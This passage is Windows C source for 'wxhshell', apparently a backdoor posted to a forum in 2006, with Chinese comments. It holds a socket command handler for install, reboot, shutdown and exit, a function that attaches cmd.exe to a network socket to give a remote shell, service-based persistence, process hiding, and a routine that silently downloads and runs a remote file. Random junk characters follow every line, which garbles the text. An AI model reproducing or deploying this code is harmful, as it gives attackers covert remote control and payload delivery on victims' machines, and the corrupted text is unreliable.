  // 帮助 QJ ueU%|  
  case '?': { cmIAWFj-)e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hize m!  
    break; 7FVu [Qu  
  } ^#R-_I  
  // 安装 n NI V(  
  case 'i': { Lj$yGdK<  
    if(Install()) @awaN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cf|<~7  
    else 'wAO Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?zKVXK7}0  
    break; nzTzc5 w  
    } 9_rNJLj8y  
  // 卸载 pQxaT$  
  case 'r': { SrN;S kS  
    if(Uninstall()) Es kh=xA {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZpHT2-baVe  
    else dyjzF`H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&]grG2/  
    break; W9?Yzl  
    } <4y1[/S  
  // 显示 wxhshell 所在路径 -0Q:0wU  
  case 'p': { 0:**uion  
    char svExeFile[MAX_PATH]; :XMw="u=  
    strcpy(svExeFile,"\n\r"); <v"C`cga  
      strcat(svExeFile,ExeFile); Lrz>0_Q  
        send(wsh,svExeFile,strlen(svExeFile),0); .BXZ\r`  
    break; 1V?}";T  
    } 'f<0&Ci8  
  // 重启 8 F'i5i  
  case 'b': { Hi{c[;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "RH2%  
    if(Boot(REBOOT)) _VR Sdr5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !GMb~  
    else { n]x4twZ  
    closesocket(wsh); 2F3IC  
    ExitThread(0); Mz<4P3"H  
    } mj<(qZh  
    break; {W }.z  
    } %#NaM\=8v  
  // 关机 7g5sJj  
  case 'd': { +V&b<y;?>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;0}$zy1EZ  
    if(Boot(SHUTDOWN)) WZRrqrjq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W;,.OoDc>  
    else { pN&Dpz^  
    closesocket(wsh); g!7/iKj:  
    ExitThread(0); DT(A~U<y  
    } zp4Jd"XBX  
    break; e(BF=gesgp  
    } {so"xoA^c  
  // 获取shell @4h .?  
  case 's': { IBU(Hm1,  
    CmdShell(wsh); m4ovppC  
    closesocket(wsh); K 3?7Hndf2  
    ExitThread(0); QQ97BP7W  
    break; >  K,Q`sS  
  } K(Otgp+zb  
  // 退出 #HB]qa  
  case 'x': { !l_ 1r$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A75IG4]  
    CloseIt(wsh); Y-n* K'  
    break; IQdiVj  
    } D<}KTyG]  
  // 离开 oj@B'j  
  case 'q': { 5_M9T 3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CIQo2~G  
    closesocket(wsh); ZSYXUFz  
    WSACleanup(); c3!d4mC:  
    exit(1); npz*4\4  
    break; suaTXKjyk+  
        } W*-+j*e|_P  
  } R{@WlkG}  
  } hti)<#f  
"VkraB.i  
  // 提示信息 I2%{6g@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LKxyj@Eq  
} zF(I#|Vo  
  } F)lDK.  
rjQV;kX>  
  return; hp,bfcM  
} Eti;(>"@  
G(|ki9^@"9  
// shell模块句柄 qbHb24I  
int CmdShell(SOCKET sock) ve=oH;zf  
{ Gs.id^Sf  
STARTUPINFO si; FbJlyWND  
ZeroMemory(&si,sizeof(si)); +D`IcR-x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c5<M=$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {?l#*XH;  
PROCESS_INFORMATION ProcessInfo; r.[!n)*  
char cmdline[]="cmd"; v l2!2X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =wPl;SDf!  
  return 0; cW26TtU(  
} D +N{'d?+  
%Ox*?l _  
// 自身启动模式 ?A2#V(4  
int StartFromService(void) 5X nA.?F^  
{ lz faW-nu  
typedef struct zOCru2/  
{ -JaC~v(0  
  DWORD ExitStatus; lycY1lK  
  DWORD PebBaseAddress; 6jiVz%`=Z  
  DWORD AffinityMask; 8"LvkN/v^  
  DWORD BasePriority; nv*q N\i'  
  ULONG UniqueProcessId; QW|,_u5j  
  ULONG InheritedFromUniqueProcessId; vEvVT]g[V  
}   PROCESS_BASIC_INFORMATION; &2Q4{i  
tV9nC   
PROCNTQSIP NtQueryInformationProcess; SI*O#K=w  
55 Y BO$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {b"V7vn,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uYhm Fp  
{XC# -3O  
  HANDLE             hProcess; c# U!Q7J  
  PROCESS_BASIC_INFORMATION pbi; ^|Of  
|(*ReQ?=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cMsm[D{b  
  if(NULL == hInst ) return 0; =" #O1$  
V"#ie Y n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ),mKEpf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +tkDT@ `  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,sn ?V~)  
x}i:nLhL  
  if (!NtQueryInformationProcess) return 0; \&`S~cV9  
H.hF`n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t`o-HWfS.  
  if(!hProcess) return 0; xD,BlDV  
"b8<C>wY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z^T/kK3I  
.v9#|d d+  
  CloseHandle(hProcess); >93vMk~hU  
/w^}(IJ4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [, 3o  
if(hProcess==NULL) return 0; PzWhB* iBR  
cclx$)X1X  
HMODULE hMod; d0"Hu^]  
char procName[255]; %]h5\%@w  
unsigned long cbNeeded; !<Ma9%uC{  
(xBS~}e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Gp/^[.%&  
TIbiw  
  CloseHandle(hProcess); D/'kYoAEO  
#;)Oi9{9;  
if(strstr(procName,"services")) return 1; // 以服务启动 (y[+s?;WyB  
xqs{d&W  
  return 0; // 注册表启动  ztKmB  
} 4%LGP h  
%YlL-*7 L  
// 主模块 L%}k.)yev  
int StartWxhshell(LPSTR lpCmdLine) <kN4@bd;  
{ / Of*II&  
  SOCKET wsl; J70#pF  
BOOL val=TRUE; Wl/oun~o  
  int port=0; 7+0Kg'^+n  
  struct sockaddr_in door; 7#SXqyP[  
@@"}i7  
  if(wscfg.ws_autoins) Install(); >\ y|}|?  
+3dWnBg?  
port=atoi(lpCmdLine); eRKuy l  
LuM:dJ  
if(port<=0) port=wscfg.ws_port; HQw98/-_W  
_ [su?C  
  WSADATA data; }><Vc ouJ[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J]yUjnQ[h  
?& qMC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9fj3q>Un,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C#d .3t  
  door.sin_family = AF_INET; [APwHIS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HQJ_:x Y  
  door.sin_port = htons(port); h+<vWo}H  
m-Q!V+XQp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { it.Lh'N;T  
closesocket(wsl); 8[\F*H  
return 1; M!Q27wT8 O  
} F6 ?4&h?n  
r"sK@  
  if(listen(wsl,2) == INVALID_SOCKET) { C62:G+W&o  
closesocket(wsl); &TJMopVn  
return 1; X|zQZ<CO  
} I .jB^  
  Wxhshell(wsl); W=:4I[a6Q  
  WSACleanup(); )c!7V)z  
"HX,RJ @^K  
return 0; qM= $,s*  
y (@j;Q3(r  
} ySAkj-< /P  
:FB-GNd  
// 以NT服务方式启动 @SeInew;`l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oS6dcJHf  
{ UKX9C"-5v  
DWORD   status = 0; nX~Qt%  
  DWORD   specificError = 0xfffffff; b* k=  
_/(DEF+G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hEUS&`K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z>hS&B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ko<u0SjF)u  
  serviceStatus.dwWin32ExitCode     = 0; }MQNzaXY^  
  serviceStatus.dwServiceSpecificExitCode = 0; B=14 hY@`  
  serviceStatus.dwCheckPoint       = 0; T'_#Dwmj*  
  serviceStatus.dwWaitHint       = 0; =h5&:?X  
g~E N3~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q+@/.qJ  
  if (hServiceStatusHandle==0) return; [A~n=m5H  
k{\wjaf)  
status = GetLastError(); m}Xb#NAF8  
  if (status!=NO_ERROR) Q^13KWvuV  
{ *nS}1(u]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (zbV-4C  
    serviceStatus.dwCheckPoint       = 0; _G3L+St  
    serviceStatus.dwWaitHint       = 0; dpAj9CX(  
    serviceStatus.dwWin32ExitCode     = status; Qp>'V<%m-  
    serviceStatus.dwServiceSpecificExitCode = specificError; YX*NjXL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )(b, v/:  
    return; s/Ne,v  
  } >-8r|};+  
pHKcKqB*13  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <[.{aj]QV  
  serviceStatus.dwCheckPoint       = 0; P:D@ 5  
  serviceStatus.dwWaitHint       = 0; qZQB"Q.*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); , e^&,5b  
} *<r\:g  
P+ ejyl,  
// 处理NT服务事件,比如:启动、停止 #h=pU/R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a|}v?z\  
{ lU?8<X  
switch(fdwControl) Q9T/@FX  
{ `r#]dT[g  
case SERVICE_CONTROL_STOP: hk*@<ff  
  serviceStatus.dwWin32ExitCode = 0; 1fgO3N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i ZU 1w7Z  
  serviceStatus.dwCheckPoint   = 0; unX mMSz(  
  serviceStatus.dwWaitHint     = 0; pW4O[v`  
  { xWRkg$A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T-MC|>pv  
  } FYBW3y+AF&  
  return; % 9 Jx|  
case SERVICE_CONTROL_PAUSE: >wSrllmj@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ! 2=m |,  
  break; ]?p 9)d=%<  
case SERVICE_CONTROL_CONTINUE: MS5X#B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yt]Y(  
  break; d.e_\]o<@  
case SERVICE_CONTROL_INTERROGATE: N[=c|frho  
  break; K&"ZZFd_  
}; itYTV?bd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pzt 5'O@dA  
} \9t/*%:  
idzc4jR6BT  
// 标准应用程序主函数 fEJF3<UF&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y':JUwUN  
{ E+Eug{+  
WRCf [5  
// 获取操作系统版本 a~*wZJ  
OsIsNt=GetOsVer(); .@KI,_X6,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oaac.7.fV  
Jb;@'o6  
  // 从命令行安装 7&`Yl[G  
  if(strpbrk(lpCmdLine,"iI")) Install();  E\5Cf2Ox  
S7B\m v  
  // 下载执行文件 ,gO(zI-1  
if(wscfg.ws_downexe) { TI5<' U)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k,,Bf-?  
  WinExec(wscfg.ws_filenam,SW_HIDE); D[p_uDIz  
} l=&\luNz  
ZrNBkfe :  
if(!OsIsNt) { qV{iUtYt  
// 如果时win9x,隐藏进程并且设置为注册表启动 g:oB j6$ q  
HideProc(); j{$2.W$  
StartWxhshell(lpCmdLine); E"<-To  
} <`)vp0  
else 2#81oz&K  
  if(StartFromService()) ~J:qG9|]}  
  // 以服务方式启动 zhZ!!b^6<  
  StartServiceCtrlDispatcher(DispatchTable); A)9F_;BY  
else `g+Kv&546  
  // 普通方式启动 rtxG-a56Q  
  StartWxhshell(lpCmdLine); 2F&VG|"  
1xTNrLW  
return 0; FZBdQhYF  
}
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只看该作者 1 发表于: 2006-10-10
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